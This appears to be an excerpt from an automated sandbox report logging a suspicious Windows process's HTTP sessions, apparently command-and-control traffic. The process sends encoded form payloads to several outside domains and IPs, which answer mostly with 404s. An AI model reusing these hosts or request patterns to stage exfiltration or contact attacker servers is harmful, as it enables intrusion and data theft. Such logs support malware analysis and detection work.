Oct 9, 2024 14:20:18.095514059 CEST	886	IN	Data Raw: 7b 3a d7 04 84 eb 2c 54 17 a0 4e c8 2b 43 cb 26 f2 2a 42 52 66 e8 94 ac f8 df ca f5 32 8b a0 1d 8a cc 58 e9 56 99 eb 49 3a c2 6f b3 aa c3 e0 f8 d4 b2 f8 36 ab 9a 4c ae ff ff cd aa 86 5e 26 8c 43 c4 a1 4a fc 89 79 1e 5e 01 81 48 2e 1c c1 fd 07 45 Data Ascii: {:,TN+C&*BRf2XVI:o6L^&CJy^H.E?)xB}1&vklnnX#)VsTmGQWWZ_"g??qzjNHm}nj}l\J7rtKMW$[Xm5#k}<Z52U\X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49634	183.181.83.131	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:20.435024023 CEST	10833	OUT	POST /ui3j/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.nakama2-sshl.xyz Origin: http://www.nakama2-sshl.xyz Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Referer: http://www.nakama2-sshl.xyz/ui3j/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 4a 78 32 41 7a 44 49 56 6b 68 6a 59 62 36 53 35 75 6d 6b 7a 38 34 46 4d 31 55 62 33 44 33 37 50 39 76 6e 6f 58 50 75 38 70 32 6e 30 53 7a 6a 54 68 51 56 34 7a 41 72 31 68 55 6b 6e 42 75 2b 43 43 36 66 6c 72 47 6e 56 57 2b 72 39 4d 78 52 4d 4b 32 6c 59 67 75 58 42 31 33 45 54 52 5a 46 61 41 4d 30 55 46 6b 30 55 76 59 4c 6e 52 4a 66 5a 47 7a 52 44 42 78 31 64 30 2b 74 43 57 34 6b 51 45 4e 66 59 56 61 4f 33 5a 6d 44 65 46 79 77 44 53 43 33 42 4c 56 31 58 57 5a 61 2f 38 66 34 32 7a 33 6d 44 50 79 43 35 2f 4a 4e 4f 48 39 45 50 65 69 2b 79 5a 76 76 66 4e 2b 76 68 33 2f 55 7a 75 73 4f 66 78 49 37 74 6b 31 66 53 33 65 7a 68 47 4f 4c 66 73 55 68 51 47 4c 31 44 36 62 2f 49 33 50 4b 32 44 2b 73 30 48 46 2b 43 68 69 65 58 6c 4f 33 72 45 61 59 68 45 73 76 4a 66 76 5a 58 4f 31 51 33 72 56 76 7a 50 41 45 31 6c 2f 4e 34 53 41 6c 4b 30 61 68 68 69 36 6a 30 72 4f 54 51 59 77 4e 6a 70 39 68 64 48 2b 72 44 2f 75 51 6a 47 36 46 57 79 68 2f 4e 6a 38 6f 55 34 4b 30 37 38 52 38 64 31 65 35 6d 2b 66 42 31 31 [TRUNCATED] Data Ascii: AHkx=Jx2AzDIVkhjYb6S5umkz84FM1Ub3D37P9vnoXPu8p2n0SzjThQV4zAr1hUknBu+CC6flrGnVW+r9MxRMK2lYguXB13ETRZFaAM0UFk0UvYLnRJfZGzRDBx1d0+tCW4kQENfYVaO3ZmDeFywDSC3BLV1XWZa/8f42z3mDPyC5/JNOH9EPei+yZvvfN+vh3/UzusOfxI7tk1fS3ezhGOLfsUhQGL1D6b/I3PK2D+s0HF+ChieXlO3rEaYhEsvJfvZXO1Q3rVvzPAE1l/N4SAlK0ahhi6j0rOTQYwNjp9hdH+rD/uQjG6FWyh/Nj8oU4K078R8d1e5m+fB11+B/EUTX1ahHMGTWI9fBCvoW9aSjsW4lPnf0XRrgIqsNGfLKWis5k91guQhu2e8NVJSs7c7OKNgT5NKdDfCbh5bUSpo0u1accyrNORDo6wFGxe9A4jRizHVWOdvO/M/N+wIEikRplCZlaqAl4UV04vGZQMq5BJH5u1QOngriYbwJg1CtVjX1t3LsIXw4GTycPTUjnsfQcmDPTXPd6gyTSdS0P0sBhnkImIyCI7UVTXBxpJOu+QuHaNlWlxs9wFHkjY+tnFoynQ3nOhZGDtOIALZcvYxFtNInj62hUUOFQL9fn5LS9IgB+wSSCx6rtL3B3VU8rFRsgUzua/g7CuWyR1LRWvhFgnuIk+G3Shrq49QQ0vb1J0vhK8Cna2V/pVjRUssfqJOMj649a6MRY4+SnIx3uZPH21bbjh1yWWsos88pPqndV40Apn6GFqGjCDXDsE1RVaUZ5Qo/97Fw42SAXO8PP1oWyEjAfPquXCo3/JZ1Mjft0PZtF+30mKVu5t7oSN17k4k6GZeRaz3crtVCirItqkVx6FXg33et4wrAOAo7z1gnyG1IDvwjr7wc8VZyigfYd/O5EjBNOiF2UU2X+otT1kuvc1JywN7L7ayKsi2IWwHWqaBipu+Qi4/kBJWW8vIpZWqsjZl920WJTmWs4fAd1LVAZMQmhu8 [TRUNCATED]
Oct 9, 2024 14:20:21.448035002 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:20:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://nakama2-sshl.xyz/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 31 38 63 34 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 5c 7b 93 23 d5 75 ff 7b a7 8a ef d0 68 0c d2 10 b5 5a ad c7 bc 56 33 ce f2 72 a8 c2 40 60 89 8b 2c 5b 53 ad 56 4b ea d9 56 b7 dc dd 9a 07 cb 56 ed cc 60 17 60 1c b0 0d 26 04 c7 b1 89 0d 6b b0 89 09 54 8a 00 09 df 25 cd ec b2 7f e5 2b e4 77 ee bd dd ea 6e b5 46 1a 69 96 24 55 4c ed ce 48 f7 71 5e f7 9c 73 cf 3d 7d 6e 37 ee 7e f0 f1 07 2e 3e f3 c4 43 52 d7 ef 59 9b 0b 8d bb 65 f9 92 d9 96 2c 5f 7a e4 21 69 e5 32 5a a8 43 d2 2d cd f3 36 72 a6 b1 9c 93 2c cd ee 6c e4 b6 b5 dc a6 d4 b8 fb 92 61 b7 cc f6 65 59 1e ce cd 9c b8 32 d5 bc d5 51 84 93 e7 75 18 ad 98 4a c4 87 04 47 44 86 a4 e7 36 17 ce d1 80 04 c9 e7 1a 5d 43 6b 49 7d d7 68 9b 7b 1b 39 a7 b3 0e 39 f8 fd 75 45 71 3a fd 52 cf 50 6c 6f 51 6a 37 47 5b 95 76 73 51 d2 5c df d4 2d 23 a3 57 f4 2c 12 d2 73 8d 9e e1 6b 92 de d5 5c cf f0 37 72 4f 5f 7c 58 5e cd 49 c3 1e 5b eb 19 1b b9 1d d3 d8 ed 3b ae 9f 93 74 c7 f6 0d 1b 23 77 cd 96 df dd 68 19 3b a6 6e c8 ec 4b d1 b4 4d df d4 2c d9 d3 35 cb d8 50 4b e5 [TRUNCATED] Data Ascii: 18c4\{#u{hZV3r@`,[SVKVV``&kT%+wnFi$ULHq^s=}n7~.>CRYe,_z!i2ZC-6r,laeY2QuJGD6]CkI}h{99uEq:RPloQj7G[vsQ\-#W,sk\7rO_\|X^I[;t#wh;nKM,5PK3\Ukv! mc1*84_ncpeM8?>u&ib,g#-",pm7rZoFbgBn_\|"=SI]FN]zZEUNi1u;MM2i6(pzIXyk}sde5zh60)dNukfC 1d2Gi{:5_4c%$Y+$9%ois!%-_9YW8N2tuKfk#5-G"[f}Y$d5hALW`3\|vQ/yyij^-SkIeii1<CMUA.C,o]Z,c}ucl]Yl1}xO+-m%{c
Oct 9, 2024 14:20:21.448060036 CEST	1236	IN	Data Raw: b6 64 d7 68 61 9c de ae 18 15 23 7b 9c 35 80 28 9d 81 27 f3 09 8e 8b 6d 80 d3 b0 bc 56 2e 4f 35 47 eb 35 0d 97 c8 d1 9b e3 a7 98 9d ae 0f 19 18 86 2d 93 54 30 7c a5 d9 d2 9b f5 6c 0c 9c 98 c4 f0 72 b9 55 5e ad 65 0f 67 42 09 85 4d d4 af 1a 2d b5 Data Ascii: dha#{5('mV.O5G5-T0\|lrU^egBM-gkUc-aqYWX-]B`#BjKfjet.YaVJQ]PcA*kKZ.)$q<ZO#bZTh=FL%15PW@CJB:^TT
Oct 9, 2024 14:20:21.448080063 CEST	1236	IN	Data Raw: c7 13 85 33 00 e4 13 33 20 b2 6c e1 0c 00 d9 bc 0c 78 22 ff 38 03 44 31 33 09 73 01 95 13 f4 54 1e c5 0e 78 36 c1 cb 4c f2 fc 39 fd b0 b2 80 ea 30 34 dd 07 4e 3c e4 5a 99 b6 ae 20 ac de e8 5b 83 8e 69 a3 bc 20 01 45 49 94 1d 70 8c b1 02 83 7a 69 Data Ascii: 33 lx"8D13sTx6L904N<Z [i EIpziyrxwu";(luM(xbbQ^-""2SVoRjZDZB<eF;PU'J<t,#bNY3^c=iA[9(dzvT
Oct 9, 2024 14:20:21.448101044 CEST	1236	IN	Data Raw: b0 67 9c 0b 51 bc ed ae 23 72 2f ac a3 ce aa 30 b0 a4 81 b5 b4 94 5b 2a c1 bc 1f a0 ab 54 85 9c 63 5b 54 f4 ab e7 98 d8 04 d8 1c 91 ab e9 30 ff 3d cc 60 73 4b b8 25 23 c3 3b f7 68 ba a1 e9 dd 04 e7 d0 dd 04 d3 43 f8 1c 10 26 73 04 c4 10 54 e3 34 Data Ascii: gQ#r/0[*Tc[T0=`sK%#;hC&sT4\vr]q6Cx!mD@.($EnLn9"g+D]p)D874Defl2,:4-fm_;+7Gz\|Y\Yp>}p[x
Oct 9, 2024 14:20:21.448115110 CEST	1236	IN	Data Raw: 53 38 0d 0f 3e f1 d8 1f 2f 07 10 f7 f2 ff 06 47 39 04 59 96 44 4a e1 49 50 7c 96 d3 40 7e e3 37 22 65 13 ce 94 7c 0d 71 6b c2 43 a3 8b 87 88 8c 4c b3 45 9b 05 65 44 68 76 6c 9b 20 35 43 94 c4 f9 4b 04 25 b8 db dd d9 32 ed b6 13 2e 62 a3 bf 59 29 Data Ascii: S8>/G9YDJIP\|@~7"e\|qkCLEeDhvl 5CK%2.bY)W*J]Q$H$FN[-kLR mIG>}9vWZFaM?qKZ6ayeuh;65xGH_v
Oct 9, 2024 14:20:21.448131084 CEST	546	IN	Data Raw: 56 e5 92 5a a5 22 72 84 b6 f9 8c a1 e9 72 ab 3b 43 23 0a b1 fa 8e b5 df 36 2d 2b 4e 5b b5 a4 d6 a9 cc 99 68 8b 0d 39 1d 4d 34 59 9c e6 c2 3b 0f db 9e 8c 95 75 b5 fc e6 82 72 1f bd af f5 81 07 2f 5c bc 70 49 ba 4f 59 a0 8a a9 dd be de 5e 41 71 c9 Data Ascii: VZ"rr;C#6-+N[h9M4Y;ur/\pIOY^AqU_8;6Uy${VsZ$?k7_d/a9/N-JX<`^xc32(;aVs/wj\|CNOi&=~Jiw(~J@K&FT?D%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49635	183.181.83.131	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:22.968514919 CEST	466	OUT	GET /ui3j/?AHkx=Ezegw1wupX22aLPnmkEV6IMUn2bdHQLdsNrfcd+vuVznJDvywH1CwnPb30ViPb7vM8PbtSzEB5D6DwhwIFVA+4/F1XwzKY9WGJMvD1hFh5nZW5ehHhRHPVA=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.nakama2-sshl.xyz Connection: close User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Oct 9, 2024 14:20:23.842288971 CEST	470	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 09 Oct 2024 12:20:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://nakama2-sshl.xyz/ui3j/?AHkx=Ezegw1wupX22aLPnmkEV6IMUn2bdHQLdsNrfcd+vuVznJDvywH1CwnPb30ViPb7vM8PbtSzEB5D6DwhwIFVA+4/F1XwzKY9WGJMvD1hFh5nZW5ehHhRHPVA=&rf-LZ=JlCtuN3HqPO8C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49636	38.47.232.196	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:29.086210966 CEST	710	OUT	POST /ak5l/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.zz82x.top Origin: http://www.zz82x.top Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Referer: http://www.zz82x.top/ak5l/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 54 46 57 79 4e 4e 65 77 53 4d 6f 78 41 36 4d 74 5a 45 75 36 32 57 4a 6e 61 62 6a 4d 6f 31 31 71 77 48 30 2f 57 70 69 35 74 4e 70 4d 35 5a 70 39 31 6e 4d 42 62 70 77 55 6b 77 67 48 77 4f 36 68 38 39 55 4e 56 72 72 74 46 6e 51 42 68 4e 36 74 78 4d 34 51 58 31 6d 4f 79 49 51 38 31 56 49 59 74 52 48 64 6f 42 5a 6f 5a 67 75 4d 43 39 76 46 67 45 50 50 6d 67 74 69 39 41 54 34 78 30 45 35 4f 76 69 79 5a 4f 69 2f 67 2b 39 5a 49 38 37 42 6c 5a 4c 4b 59 32 6c 65 2f 6e 4b 66 46 4f 66 72 6f 51 31 52 77 63 34 49 7a 6d 65 6e 48 6d 6b 30 67 45 4c 54 70 2f 65 74 61 44 55 34 6d 38 45 74 43 41 3d 3d Data Ascii: AHkx=TFWyNNewSMoxA6MtZEu62WJnabjMo11qwH0/Wpi5tNpM5Zp91nMBbpwUkwgHwO6h89UNVrrtFnQBhN6txM4QX1mOyIQ81VIYtRHdoBZoZguMC9vFgEPPmgti9AT4x0E5OviyZOi/g+9ZI87BlZLKY2le/nKfFOfroQ1Rwc4IzmenHmk0gELTp/etaDU4m8EtCA==
Oct 9, 2024 14:20:29.999377966 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:20:29 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49637	38.47.232.196	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:31.630476952 CEST	730	OUT	POST /ak5l/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.zz82x.top Origin: http://www.zz82x.top Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Referer: http://www.zz82x.top/ak5l/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 54 46 57 79 4e 4e 65 77 53 4d 6f 78 42 61 63 74 57 44 61 36 2b 57 49 56 52 37 6a 4d 68 56 30 74 77 48 34 2f 57 71 75 50 34 75 4e 4d 34 34 5a 39 6e 57 4d 42 65 70 77 55 39 41 67 65 76 2b 36 71 38 39 59 46 56 75 54 74 46 6e 55 42 68 4d 4b 74 78 2f 67 66 55 46 6d 4d 37 6f 52 36 78 56 49 59 74 52 48 64 6f 42 39 43 5a 67 47 4d 43 4d 66 46 79 57 6e 4d 71 41 74 74 34 41 54 34 37 6b 45 39 4f 76 6a 56 5a 4c 44 59 67 38 31 5a 49 38 72 42 6c 4d 33 4a 43 6d 6c 59 7a 33 4b 4c 4d 4f 4f 2b 68 52 45 78 34 75 67 4b 77 46 69 66 47 67 31 75 78 31 71 45 37 2f 36 65 48 45 64 4d 72 2f 35 6b 5a 4a 6c 75 44 57 49 46 56 31 4c 2b 36 2b 51 50 5a 53 4b 42 41 2b 73 3d Data Ascii: AHkx=TFWyNNewSMoxBactWDa6+WIVR7jMhV0twH4/WquP4uNM44Z9nWMBepwU9Agev+6q89YFVuTtFnUBhMKtx/gfUFmM7oR6xVIYtRHdoB9CZgGMCMfFyWnMqAtt4AT47kE9OvjVZLDYg81ZI8rBlM3JCmlYz3KLMOO+hREx4ugKwFifGg1ux1qE7/6eHEdMr/5kZJluDWIFV1L+6+QPZSKBA+s=
Oct 9, 2024 14:20:32.511900902 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:20:32 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49638	38.47.232.196	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:34.176024914 CEST	10812	OUT	POST /ak5l/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.zz82x.top Origin: http://www.zz82x.top Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Referer: http://www.zz82x.top/ak5l/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 54 46 57 79 4e 4e 65 77 53 4d 6f 78 42 61 63 74 57 44 61 36 2b 57 49 56 52 37 6a 4d 68 56 30 74 77 48 34 2f 57 71 75 50 34 75 46 4d 34 4b 42 39 32 46 30 42 64 70 77 55 69 77 67 44 76 2b 36 37 38 39 51 2f 56 76 76 54 46 6c 63 42 75 4f 43 74 7a 4f 67 66 44 56 6d 4d 32 49 51 39 31 56 49 4a 74 52 58 5a 6f 42 74 43 5a 67 47 4d 43 50 33 46 78 45 50 4d 73 41 74 69 39 41 53 35 78 30 45 56 4f 76 72 76 5a 4c 50 69 67 74 56 5a 49 64 62 42 6d 2b 66 4a 4a 6d 6c 61 77 33 4c 4d 4d 4f 44 75 68 56 63 44 34 76 55 6b 77 43 4b 66 48 6d 34 59 68 47 50 63 34 4f 61 48 54 45 64 35 69 59 4a 32 61 4a 56 53 4b 44 55 4a 4c 57 76 78 32 63 49 4b 4d 42 53 30 66 34 73 4c 4d 70 63 42 76 33 74 52 48 6d 4c 35 72 6b 54 78 31 4e 48 66 30 44 46 2b 4e 59 34 67 66 49 6b 66 39 77 57 69 42 6d 34 74 57 4d 4a 35 35 37 66 35 32 6a 62 78 42 4c 41 64 71 46 46 62 38 57 2b 61 59 38 52 4d 59 62 6b 52 59 59 67 61 6e 55 76 47 4c 53 74 48 55 72 58 4f 41 66 33 61 74 56 63 69 41 44 4c 64 51 30 69 76 4c 67 6a 43 31 4a 2f 51 2f 71 43 5a 38 [TRUNCATED] Data Ascii: AHkx=TFWyNNewSMoxBactWDa6+WIVR7jMhV0twH4/WquP4uFM4KB92F0BdpwUiwgDv+6789Q/VvvTFlcBuOCtzOgfDVmM2IQ91VIJtRXZoBtCZgGMCP3FxEPMsAti9AS5x0EVOvrvZLPigtVZIdbBm+fJJmlaw3LMMODuhVcD4vUkwCKfHm4YhGPc4OaHTEd5iYJ2aJVSKDUJLWvx2cIKMBS0f4sLMpcBv3tRHmL5rkTx1NHf0DF+NY4gfIkf9wWiBm4tWMJ557f52jbxBLAdqFFb8W+aY8RMYbkRYYganUvGLStHUrXOAf3atVciADLdQ0ivLgjC1J/Q/qCZ8D3NVuK5udUSwVcvC0d3aIMM8RddJhHkifPKz8ENbWM3wfNc3ZBmLZ+J2mHvUn7dXBnZoaw+eTWTWsg9uBGlQMPuxKpWrhZBkbVvqeFbErKfyLuxanBzG6L9T6Ru6WvAw18zF40bTqkCYznpXXF24mttb4jBqgcHV8OHF532YwyEKSqkOPPw6KfcRlw4c03hduaGRQjGzHXknROI9lky1p5Q9n7RIdymieCl2ulu6YprXUEouayP7/TRge8c0Pc4bqt12dQFnTIuT7vQ2fSzDhhZAvdxY1GsQi7Bc7cyq0v17qhs+MKeK/2zuLUa6/kbdfRFKrlDdCwWEXyqMy6CE7/qOgzqOD0/vFpXhDMIhbcPyY6KzTznog4dDvf1QRmGYQoHDwjVhbgI/wyPAJRL2ePGI2UHamadVi1/PmW5oSuPJaacQE+P3puqguASYO95rJ8uM3+aTsKWCPTwoYPnEcoDcJ7mP43ltWv7Ofh1al/DHn3M7HK38lrk/KhF9UAxLy1ydTQrE6ZZevLkmtSAHzgpMukV+lWGXh2E5t9Zrs0v4MJD6Ivx1ZB2/gTPNkZoM2Zm2hAtcLO/iKFqCIu9eC8EWmIQw3LqVgyp9qpZsjPcso3h1Z0YWyEqQC12f4vZO+K8k8IQUon8G0o6+VjhdzsQ9NWNtfNfIdG [TRUNCATED]
Oct 9, 2024 14:20:35.111148119 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:20:34 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49639	38.47.232.196	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:36.716541052 CEST	459	OUT	GET /ak5l/?rf-LZ=JlCtuN3HqPO8C&AHkx=eH+SO6exUc8kNdkvUVCoynUPLpD0oidFnmpLKbW7uuUzt7F+3QY5ZMk8901G8pDK6ZYhQ7vTWV07p9++0dQhJwia7KRoh2N0l2r+oB94KBnVCOyz53vPt1M= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.zz82x.top Connection: close User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Oct 9, 2024 14:20:37.626393080 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:20:37 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49640	3.33.130.190	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:42.678286076 CEST	719	OUT	POST /b8ih/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.tukaari.shop Origin: http://www.tukaari.shop Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Referer: http://www.tukaari.shop/b8ih/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 44 66 62 59 39 7a 6f 46 55 4b 30 6f 33 69 77 37 2f 64 63 70 65 66 53 6f 75 33 71 36 32 56 44 65 44 4d 30 4a 31 4b 76 6c 33 64 47 78 71 50 4b 4d 61 61 4c 38 36 6b 2f 51 51 63 34 66 39 6a 4a 75 61 44 6e 46 35 41 78 65 76 67 6c 72 52 76 63 56 51 6e 47 55 2b 6a 66 33 42 4f 36 49 70 58 35 57 57 51 4f 2b 30 2f 67 72 39 39 5a 70 70 6e 4b 4d 41 45 7a 56 4e 67 4f 4e 71 33 4d 37 61 50 4e 74 44 36 59 6e 61 66 31 5a 5a 36 36 4d 49 70 78 45 62 7a 4b 37 45 42 61 73 73 34 51 6d 43 4a 76 6c 63 6f 55 4c 56 48 4d 4e 61 46 51 69 73 4b 71 7a 41 4b 79 44 66 6c 57 42 47 42 45 51 62 64 6c 7a 44 51 3d 3d Data Ascii: AHkx=DfbY9zoFUK0o3iw7/dcpefSou3q62VDeDM0J1Kvl3dGxqPKMaaL86k/QQc4f9jJuaDnF5AxevglrRvcVQnGU+jf3BO6IpX5WWQO+0/gr99ZppnKMAEzVNgONq3M7aPNtD6Ynaf1ZZ66MIpxEbzK7EBass4QmCJvlcoULVHMNaFQisKqzAKyDflWBGBEQbdlzDQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
